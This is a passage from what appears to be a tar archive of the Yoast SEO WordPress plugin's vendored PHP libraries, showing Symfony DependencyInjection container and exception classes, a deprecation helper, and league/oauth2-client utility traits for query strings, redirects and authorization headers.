 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

/**
 * Base LogicException for Dependency Injection component.
 */
class LogicException extends \LogicException implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ExceptionInterface
{
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Exception/ExceptionInterface.php000064400000001223147510273070026577 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

use YoastSEO_Vendor\Psr\Container\ContainerExceptionInterface;
/**
 * Base ExceptionInterface for Dependency Injection component.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Bulat Shakirzyanov <bulat@theopenskyproject.com>
 */
interface ExceptionInterface extends \YoastSEO_Vendor\Psr\Container\ContainerExceptionInterface
{
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/ResettableContainerInterface.php000064400000002015147510273070026640 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection;

/**
 * ResettableContainerInterface defines additional resetting functionality
 * for containers, allowing to release shared services when the container is
 * not needed anymore.
 *
 * @author Christophe Coevoet <stof@notk.org>
 */
interface ResettableContainerInterface extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface
{
    /**
     * Resets shared services from the container.
     *
     * The container is not intended to be used again after being reset in a normal workflow. This method is
     * meant as a way to release references for ref-counting.
     * A subsequent call to ContainerInterface::get will recreate a new instance of the shared service.
     */
    public function reset();
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Container.php000064400000047734147510273070023025 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\EnvNotFoundException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\EnvPlaceholderParameterBag;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
/**
 * Container is a dependency injection container.
 *
 * It gives access to object instances (services).
 * Services and parameters are simple key/pair stores.
 * The container can have four possible behaviors when a service
 * does not exist (or is not initialized for the last case):
 *
 *  * EXCEPTION_ON_INVALID_REFERENCE: Throws an exception (the default)
 *  * NULL_ON_INVALID_REFERENCE:      Returns null
 *  * IGNORE_ON_INVALID_REFERENCE:    Ignores the wrapping command asking for the reference
 *                                    (for instance, ignore a setter if the service does not exist)
 *  * IGNORE_ON_UNINITIALIZED_REFERENCE: Ignores/returns null for uninitialized services or invalid references
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class Container implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ResettableContainerInterface
{
    protected $parameterBag;
    protected $services = [];
    protected $fileMap = [];
    protected $methodMap = [];
    protected $aliases = [];
    protected $loading = [];
    protected $resolving = [];
    protected $syntheticIds = [];
    /**
     * @internal
     */
    protected $privates = [];
    /**
     * @internal
     */
    protected $normalizedIds = [];
    private $underscoreMap = ['_' => '', '.' => '_', '\\' => '_'];
    private $envCache = [];
    private $compiled = \false;
    private $getEnv;
    public function __construct(\YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface $parameterBag = null)
    {
        $this->parameterBag = $parameterBag ?: new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\EnvPlaceholderParameterBag();
    }
    /**
     * Compiles the container.
     *
     * This method does two things:
     *
     *  * Parameter values are resolved;
     *  * The parameter bag is frozen.
     */
    public function compile()
    {
        $this->parameterBag->resolve();
        $this->parameterBag = new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag($this->parameterBag->all());
        $this->compiled = \true;
    }
    /**
     * Returns true if the container is compiled.
     *
     * @return bool
     */
    public function isCompiled()
    {
        return $this->compiled;
    }
    /**
     * Returns true if the container parameter bag are frozen.
     *
     * @deprecated since version 3.3, to be removed in 4.0.
     *
     * @return bool true if the container parameter bag are frozen, false otherwise
     */
    public function isFrozen()
    {
        @\trigger_error(\sprintf('The %s() method is deprecated since Symfony 3.3 and will be removed in 4.0. Use the isCompiled() method instead.', __METHOD__), \E_USER_DEPRECATED);
        return $this->parameterBag instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag;
    }
    /**
     * Gets the service container parameter bag.
     *
     * @return ParameterBagInterface A ParameterBagInterface instance
     */
    public function getParameterBag()
    {
        return $this->parameterBag;
    }
    /**
     * Gets a parameter.
     *
     * @param string $name The parameter name
     *
     * @return mixed The parameter value
     *
     * @throws InvalidArgumentException if the parameter is not defined
     */
    public function getParameter($name)
    {
        return $this->parameterBag->get($name);
    }
    /**
     * Checks if a parameter exists.
     *
     * @param string $name The parameter name
     *
     * @return bool The presence of parameter in container
     */
    public function hasParameter($name)
    {
        return $this->parameterBag->has($name);
    }
    /**
     * Sets a parameter.
     *
     * @param string $name  The parameter name
     * @param mixed  $value The parameter value
     */
    public function setParameter($name, $value)
    {
        $this->parameterBag->set($name, $value);
    }
    /**
     * Sets a service.
     *
     * Setting a synthetic service to null resets it: has() returns false and get()
     * behaves in the same way as if the service was never created.
     *
     * @param string      $id      The service identifier
     * @param object|null $service The service instance
     */
    public function set($id, $service)
    {
        // Runs the internal initializer; used by the dumped container to include always-needed files
        if (isset($this->privates['service_container']) && $this->privates['service_container'] instanceof \Closure) {
            $initialize = $this->privates['service_container'];
            unset($this->privates['service_container']);
            $initialize();
        }
        $id = $this->normalizeId($id);
        if ('service_container' === $id) {
            throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException('You cannot set service "service_container".');
        }
        if (isset($this->privates[$id]) || !(isset($this->fileMap[$id]) || isset($this->methodMap[$id]))) {
            if (!isset($this->privates[$id]) && !isset($this->getRemovedIds()[$id])) {
                // no-op
            } elseif (null === $service) {
                @\trigger_error(\sprintf('The "%s" service is private, unsetting it is deprecated since Symfony 3.2 and will fail in 4.0.', $id), \E_USER_DEPRECATED);
                unset($this->privates[$id]);
            } else {
                @\trigger_error(\sprintf('The "%s" service is private, replacing it is deprecated since Symfony 3.2 and will fail in 4.0.', $id), \E_USER_DEPRECATED);
            }
        } elseif (isset($this->services[$id])) {
            if (null === $service) {
                @\trigger_error(\sprintf('The "%s" service is already initialized, unsetting it is deprecated since Symfony 3.3 and will fail in 4.0.', $id), \E_USER_DEPRECATED);
            } else {
                @\trigger_error(\sprintf('The "%s" service is already initialized, replacing it is deprecated since Symfony 3.3 and will fail in 4.0.', $id), \E_USER_DEPRECATED);
            }
        }
        if (isset($this->aliases[$id])) {
            unset($this->aliases[$id]);
        }
        if (null === $service) {
            unset($this->services[$id]);
            return;
        }
        $this->services[$id] = $service;
    }
    /**
     * Returns true if the given service is defined.
     *
     * @param string $id The service identifier
     *
     * @return bool true if the service is defined, false otherwise
     */
    public function has($id)
    {
        for ($i = 2;;) {
            if (isset($this->privates[$id])) {
                @\trigger_error(\sprintf('The "%s" service is private, checking for its existence is deprecated since Symfony 3.2 and will fail in 4.0.', $id), \E_USER_DEPRECATED);
            }
            if (isset($this->aliases[$id])) {
                $id = $this->aliases[$id];
            }
            if (isset($this->services[$id])) {
                return \true;
            }
            if ('service_container' === $id) {
                return \true;
            }
            if (isset($this->fileMap[$id]) || isset($this->methodMap[$id])) {
                return \true;
            }
            if (--$i && $id !== ($normalizedId = $this->normalizeId($id))) {
                $id = $normalizedId;
                continue;
            }
            // We only check the convention-based factory in a compiled container (i.e. a child class other than a ContainerBuilder,
            // and only when the dumper has not generated the method map (otherwise the method map is considered to be fully populated by the dumper)
            if (!$this->methodMap && !$this instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerBuilder && __CLASS__ !== static::class && \method_exists($this, 'get' . \strtr($id, $this->underscoreMap) . 'Service')) {
                @\trigger_error('Generating a dumped container without populating the method map is deprecated since Symfony 3.2 and will be unsupported in 4.0. Update your dumper to generate the method map.', \E_USER_DEPRECATED);
                return \true;
            }
            return \false;
        }
    }
    /**
     * Gets a service.
     *
     * If a service is defined both through a set() method and
     * with a get{$id}Service() method, the former has always precedence.
     *
     * @param string $id              The service identifier
     * @param int    $invalidBehavior The behavior when the service does not exist
     *
     * @return object|null The associated service
     *
     * @throws ServiceCircularReferenceException When a circular reference is detected
     * @throws ServiceNotFoundException          When the service is not defined
     * @throws \Exception                        if an exception has been thrown when the service has been resolved
     *
     * @see Reference
     */
    public function get($id, $invalidBehavior = 1)
    {
        // Attempt to retrieve the service by checking first aliases then
        // available services. Service IDs are case insensitive, however since
        // this method can be called thousands of times during a request, avoid
        // calling $this->normalizeId($id) unless necessary.
        for ($i = 2;;) {
            if (isset($this->privates[$id])) {
                @\trigger_error(\sprintf('The "%s" service is private, getting it from the container is deprecated since Symfony 3.2 and will fail in 4.0. You should either make the service public, or stop using the container directly and use dependency injection instead.', $id), \E_USER_DEPRECATED);
            }
            if (isset($this->aliases[$id])) {
                $id = $this->aliases[$id];
            }
            // Re-use shared service instance if it exists.
            if (isset($this->services[$id])) {
                return $this->services[$id];
            }
            if ('service_container' === $id) {
                return $this;
            }
            if (isset($this->loading[$id])) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException($id, \array_merge(\array_keys($this->loading), [$id]));
            }
            $this->loading[$id] = \true;
            try {
                if (isset($this->fileMap[$id])) {
                    return 4 === $invalidBehavior ? null : $this->load($this->fileMap[$id]);
                } elseif (isset($this->methodMap[$id])) {
                    return 4 === $invalidBehavior ? null : $this->{$this->methodMap[$id]}();
                } elseif (--$i && $id !== ($normalizedId = $this->normalizeId($id))) {
                    unset($this->loading[$id]);
                    $id = $normalizedId;
                    continue;
                } elseif (!$this->methodMap && !$this instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerBuilder && __CLASS__ !== static::class && \method_exists($this, $method = 'get' . \strtr($id, $this->underscoreMap) . 'Service')) {
                    // We only check the convention-based factory in a compiled container (i.e. a child class other than a ContainerBuilder,
                    // and only when the dumper has not generated the method map (otherwise the method map is considered to be fully populated by the dumper)
                    @\trigger_error('Generating a dumped container without populating the method map is deprecated since Symfony 3.2 and will be unsupported in 4.0. Update your dumper to generate the method map.', \E_USER_DEPRECATED);
                    return 4 === $invalidBehavior ? null : $this->{$method}();
                }
                break;
            } catch (\Exception $e) {
                unset($this->services[$id]);
                throw $e;
            } finally {
                unset($this->loading[$id]);
            }
        }
        if (1 === $invalidBehavior) {
            if (!$id) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id);
            }
            if (isset($this->syntheticIds[$id])) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id, null, null, [], \sprintf('The "%s" service is synthetic, it needs to be set at boot time before it can be used.', $id));
            }
            if (isset($this->getRemovedIds()[$id])) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id, null, null, [], \sprintf('The "%s" service or alias has been removed or inlined when the container was compiled. You should either make it public, or stop using the container directly and use dependency injection instead.', $id));
            }
            $alternatives = [];
            foreach ($this->getServiceIds() as $knownId) {
                $lev = \levenshtein($id, $knownId);
                if ($lev <= \strlen($id) / 3 || \false !== \strpos($knownId, $id)) {
                    $alternatives[] = $knownId;
                }
            }
            throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id, null, null, $alternatives);
        }
    }
    /**
     * Returns true if the given service has actually been initialized.
     *
     * @param string $id The service identifier
     *
     * @return bool true if service has already been initialized, false otherwise
     */
    public function initialized($id)
    {
        $id = $this->normalizeId($id);
        if (isset($this->privates[$id])) {
            @\trigger_error(\sprintf('Checking for the initialization of the "%s" private service is deprecated since Symfony 3.4 and won\'t be supported anymore in Symfony 4.0.', $id), \E_USER_DEPRECATED);
        }
        if (isset($this->aliases[$id])) {
            $id = $this->aliases[$id];
        }
        if ('service_container' === $id) {
            return \false;
        }
        return isset($this->services[$id]);
    }
    /**
     * {@inheritdoc}
     */
    public function reset()
    {
        $this->services = [];
    }
    /**
     * Gets all service ids.
     *
     * @return string[] An array of all defined service ids
     */
    public function getServiceIds()
    {
        $ids = [];
        if (!$this->methodMap && !$this instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerBuilder && __CLASS__ !== static::class) {
            // We only check the convention-based factory in a compiled container (i.e. a child class other than a ContainerBuilder,
            // and only when the dumper has not generated the method map (otherwise the method map is considered to be fully populated by the dumper)
            @\trigger_error('Generating a dumped container without populating the method map is deprecated since Symfony 3.2 and will be unsupported in 4.0. Update your dumper to generate the method map.', \E_USER_DEPRECATED);
            foreach (\get_class_methods($this) as $method) {
                if (\preg_match('/^get(.+)Service$/', $method, $match)) {
                    $ids[] = self::underscore($match[1]);
                }
            }
        }
        $ids[] = 'service_container';
        return \array_map('strval', \array_unique(\array_merge($ids, \array_keys($this->methodMap), \array_keys($this->fileMap), \array_keys($this->aliases), \array_keys($this->services))));
    }
    /**
     * Gets service ids that existed at compile time.
     *
     * @return array
     */
    public function getRemovedIds()
    {
        return [];
    }
    /**
     * Camelizes a string.
     *
     * @param string $id A string to camelize
     *
     * @return string The camelized string
     */
    public static function camelize($id)
    {
        return \strtr(\ucwords(\strtr($id, ['_' => ' ', '.' => '_ ', '\\' => '_ '])), [' ' => '']);
    }
    /**
     * A string to underscore.
     *
     * @param string $id The string to underscore
     *
     * @return string The underscored string
     */
    public static function underscore($id)
    {
        return \strtolower(\preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\\d])([A-Z])/'], ['\\1_\\2', '\\1_\\2'], \str_replace('_', '.', $id)));
    }
    /**
     * Creates a service by requiring its factory file.
     */
    protected function load($file)
    {
        return require $file;
    }
    /**
     * Fetches a variable from the environment.
     *
     * @param string $name The name of the environment variable
     *
     * @return mixed The value to use for the provided environment variable name
     *
     * @throws EnvNotFoundException When the environment variable is not found and has no default value
     */
    protected function getEnv($name)
    {
        if (isset($this->resolving[$envName = "env({$name})"])) {
            throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException(\array_keys($this->resolving));
        }
        if (isset($this->envCache[$name]) || \array_key_exists($name, $this->envCache)) {
            return $this->envCache[$name];
        }
        if (!$this->has($id = 'container.env_var_processors_locator')) {
            $this->set($id, new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ServiceLocator([]));
        }
        if (!$this->getEnv) {
            $this->getEnv = new \ReflectionMethod($this, __FUNCTION__);
            $this->getEnv->setAccessible(\true);
            $this->getEnv = $this->getEnv->getClosure($this);
        }
        $processors = $this->get($id);
        if (\false !== ($i = \strpos($name, ':'))) {
            $prefix = \substr($name, 0, $i);
            $localName = \substr($name, 1 + $i);
        } else {
            $prefix = 'string';
            $localName = $name;
        }
        $processor = $processors->has($prefix) ? $processors->get($prefix) : new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\EnvVarProcessor($this);
        $this->resolving[$envName] = \true;
        try {
            return $this->envCache[$name] = $processor->getEnv($prefix, $localName, $this->getEnv);
        } finally {
            unset($this->resolving[$envName]);
        }
    }
    /**
     * Returns the case sensitive id used at registration time.
     *
     * @param string $id
     *
     * @return string
     *
     * @internal
     */
    public function normalizeId($id)
    {
        if (!\is_string($id)) {
            $id = (string) $id;
        }
        if (isset($this->normalizedIds[$normalizedId = \strtolower($id)])) {
            $normalizedId = $this->normalizedIds[$normalizedId];
            if ($id !== $normalizedId) {
                @\trigger_error(\sprintf('Service identifiers will be made case sensitive in Symfony 4.0. Using "%s" instead of "%s" is deprecated since Symfony 3.3.', $id, $normalizedId), \E_USER_DEPRECATED);
            }
        } else {
            $normalizedId = $this->normalizedIds[$normalizedId] = $id;
        }
        return $normalizedId;
    }
    private function __clone()
    {
    }
}
wordpress-seo/vendor_prefixed/symfony/deprecation-contracts/function.php000064400000001760147510273070023112 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

if (!function_exists('trigger_deprecation')) {
    /**
     * Triggers a silenced deprecation notice.
     *
     * @param string $package The name of the Composer package that is triggering the deprecation
     * @param string $version The version of the package that introduced the deprecation
     * @param string $message The message of the deprecation
     * @param mixed  ...$args Values to insert in the message using printf() formatting
     *
     * @author Nicolas Grekas <p@tchwork.com>
     */
    function trigger_deprecation(string $package, string $version, string $message, ...$args): void
    {
        @trigger_error(($package || $version ? "Since $package $version: " : '').($args ? vsprintf($message, $args) : $message), \E_USER_DEPRECATED);
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/QueryBuilderTrait.php000064400000001630147510273070024326 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

/**
 * Provides a standard way to generate query strings.
 */
trait QueryBuilderTrait
{
    /**
     * Build a query string from an array.
     *
     * @param array $params
     *
     * @return string
     */
    protected function buildQueryString(array $params)
    {
        return \http_build_query($params, '', '&', \PHP_QUERY_RFC3986);
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/ProviderRedirectTrait.php000064400000006472147510273070025177 0ustar00<?php

namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

use YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException;
use YoastSEO_Vendor\GuzzleHttp\Psr7\Uri;
use InvalidArgumentException;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
trait ProviderRedirectTrait
{
    /**
     * Maximum number of times to follow provider initiated redirects
     *
     * @var integer
     */
    protected $redirectLimit = 2;
    /**
     * Retrieves a response for a given request and retrieves subsequent
     * responses, with authorization headers, if a redirect is detected.
     *
     * @param  RequestInterface $request
     * @return ResponseInterface
     * @throws BadResponseException
     */
    protected function followRequestRedirects(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request)
    {
        $response = null;
        $attempts = 0;
        while ($attempts < $this->redirectLimit) {
            $attempts++;
            $response = $this->getHttpClient()->send($request, ['allow_redirects' => \false]);
            if ($this->isRedirect($response)) {
                $redirectUrl = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($response->getHeader('Location')[0]);
                $request = $request->withUri($redirectUrl);
            } else {
                break;
            }
        }
        return $response;
    }
    /**
     * Returns the HTTP client instance.
     *
     * @return GuzzleHttp\ClientInterface
     */
    public abstract function getHttpClient();
    /**
     * Retrieves current redirect limit.
     *
     * @return integer
     */
    public function getRedirectLimit()
    {
        return $this->redirectLimit;
    }
    /**
     * Determines if a given response is a redirect.
     *
     * @param  ResponseInterface  $response
     *
     * @return boolean
     */
    protected function isRedirect(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response)
    {
        $statusCode = $response->getStatusCode();
        return $statusCode > 300 && $statusCode < 400 && $response->hasHeader('Location');
    }
    /**
     * Sends a request instance and returns a response instance.
     *
     * WARNING: This method does not attempt to catch exceptions caused by HTTP
     * errors! It is recommended to wrap this method in a try/catch block.
     *
     * @param  RequestInterface $request
     * @return ResponseInterface
     */
    public function getResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request)
    {
        try {
            $response = $this->followRequestRedirects($request);
        } catch (\YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException $e) {
            $response = $e->getResponse();
        }
        return $response;
    }
    /**
     * Updates the redirect limit.
     *
     * @param integer $limit
     * @return League\OAuth2\Client\Provider\AbstractProvider
     * @throws InvalidArgumentException
     */
    public function setRedirectLimit($limit)
    {
        if (!\is_int($limit)) {
            throw new \InvalidArgumentException('redirectLimit must be an integer.');
        }
        if ($limit < 1) {
            throw new \InvalidArgumentException('redirectLimit must be greater than or equal to one.');
        }
        $this->redirectLimit = $limit;
        return $this;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/ArrayAccessorTrait.php000064400000002662147510273070024461 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

/**
 * Provides generic array navigation tools.
 */
trait ArrayAccessorTrait
{
    /**
     * Returns a value by key using dot notation.
     *
     * @param  array      $data
     * @param  string     $key
     * @param  mixed|null $default
     * @return mixed
     */
    private function getValueByKey(array $data, $key, $default = null)
    {
        if (!\is_string($key) || empty($key) || !\count($data)) {
            return $default;
        }
        if (\strpos($key, '.') !== \false) {
            $keys = \explode('.', $key);
            foreach ($keys as $innerKey) {
                if (!\is_array($data) || !\array_key_exists($innerKey, $data)) {
                    return $default;
                }
                $data = $data[$innerKey];
            }
            return $data;
        }
        return \array_key_exists($key, $data) ? $data[$key] : $default;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/RequiredParameterTrait.php000064400000002740147510273070025336 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

use BadMethodCallException;
/**
 * Provides functionality to check for required parameters.
 */
trait RequiredParameterTrait
{
    /**
     * Checks for a required parameter in a hash.
     *
     * @throws BadMethodCallException
     * @param  string $name
     * @param  array  $params
     * @return void
     */
    private function checkRequiredParameter($name, array $params)
    {
        if (!isset($params[$name])) {
            throw new \BadMethodCallException(\sprintf('Required parameter not passed: "%s"', $name));
        }
    }
    /**
     * Checks for multiple required parameters in a hash.
     *
     * @throws InvalidArgumentException
     * @param  array $names
     * @param  array $params
     * @return void
     */
    private function checkRequiredParameters(array $names, array $params)
    {
        foreach ($names as $name) {
            $this->checkRequiredParameter($name, $params);
        }
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/RequestFactory.php000064400000004262147510273070023672 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

use YoastSEO_Vendor\GuzzleHttp\Psr7\Request;
/**
 * Used to produce PSR-7 Request instances.
 *
 * @link https://github.com/guzzle/guzzle/pull/1101
 */
class RequestFactory
{
    /**
     * Creates a PSR-7 Request instance.
     *
     * @param  null|string $method HTTP method for the request.
     * @param  null|string $uri URI for the request.
     * @param  array $headers Headers for the message.
     * @param  string|resource|StreamInterface $body Message body.
     * @param  string $version HTTP protocol version.
     *
     * @return Request
     */
    public function getRequest($method, $uri, array $headers = [], $body = null, $version = '1.1')
    {
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($method, $uri, $headers, $body, $version);
    }
    /**
     * Parses simplified options.
     *
     * @param array $options Simplified options.
     *
     * @return array Extended options for use with getRequest.
     */
    protected function parseOptions(array $options)
    {
        // Should match default values for getRequest
        $defaults = ['headers' => [], 'body' => null, 'version' => '1.1'];
        return \array_merge($defaults, $options);
    }
    /**
     * Creates a request using a simplified array of options.
     *
     * @param  null|string $method
     * @param  null|string $uri
     * @param  array $options
     *
     * @return Request
     */
    public function getRequestWithOptions($method, $uri, array $options = [])
    {
        $options = $this->parseOptions($options);
        return $this->getRequest($method, $uri, $options['headers'], $options['body'], $options['version']);
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/BearerAuthorizationTrait.php000064400000002173147510273070025676 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;
/**
 * Enables `Bearer` header authorization for providers.
 *
 * @link http://tools.ietf.org/html/rfc6750 Bearer Token Usage (RFC 6750)
 */
trait BearerAuthorizationTrait
{
    /**
     * Returns authorization headers for the 'bearer' grant.
     *
     * @param  AccessTokenInterface|string|null $token Either a string or an access token instance
     * @return array
     */
    protected function getAuthorizationHeaders($token = null)
    {
        return ['Authorization' => 'Bearer ' . $token];
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/MacAuthorizationTrait.php000064400000005133147510273100025167 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;
/**
 * Enables `MAC` header authorization for providers.
 *
 * @link http://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-05 Message Authentication Code (MAC) Tokens
 */
trait MacAuthorizationTrait
{
    /**
     * Returns the id of this token for MAC generation.
     *
     * @param  AccessToken $token
     * @return string
     */
    protected abstract function getTokenId(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token);
    /**
     * Returns the MAC signature for the current request.
     *
     * @param  string $id
     * @param  integer $ts
     * @param  string $nonce
     * @return string
     */
    protected abstract function getMacSignature($id, $ts, $nonce);
    /**
     * Returns a new random string to use as the state parameter in an
     * authorization flow.
     *
     * @param  int $length Length of the random string to be generated.
     * @return string
     */
    protected abstract function getRandomState($length = 32);
    /**
     * Returns the authorization headers for the 'mac' grant.
     *
     * @param  AccessTokenInterface|string|null $token Either a string or an access token instance
     * @return array
     * @codeCoverageIgnore
     *
     * @todo This is currently untested and provided only as an example. If you
     * complete the implementation, please create a pull request for
     * https://github.com/thephpleague/oauth2-client
     */
    protected function getAuthorizationHeaders($token = null)
    {
        if ($token === null) {
            return [];
        }
        $ts = \time();
        $id = $this->getTokenId($token);
        $nonce = $this->getRandomState(16);
        $mac = $this->getMacSignature($id, $ts, $nonce);
        $parts = [];
        foreach (\compact('id', 'ts', 'nonce', 'mac') as $key => $value) {
            $parts[] = \sprintf('%s="%s"', $key, $value);
        }
        return ['Authorization' => 'MAC ' . \implode(', ', $parts)];
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Tool/GuardedPropertyTrait.php000064400000003432147510273100025026 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Tool;

/**
 * Provides support for blacklisting explicit properties from the
 * mass assignment behavior.
 */
trait GuardedPropertyTrait
{
    /**
     * The properties that aren't mass assignable.
     *
     * @var array
     */
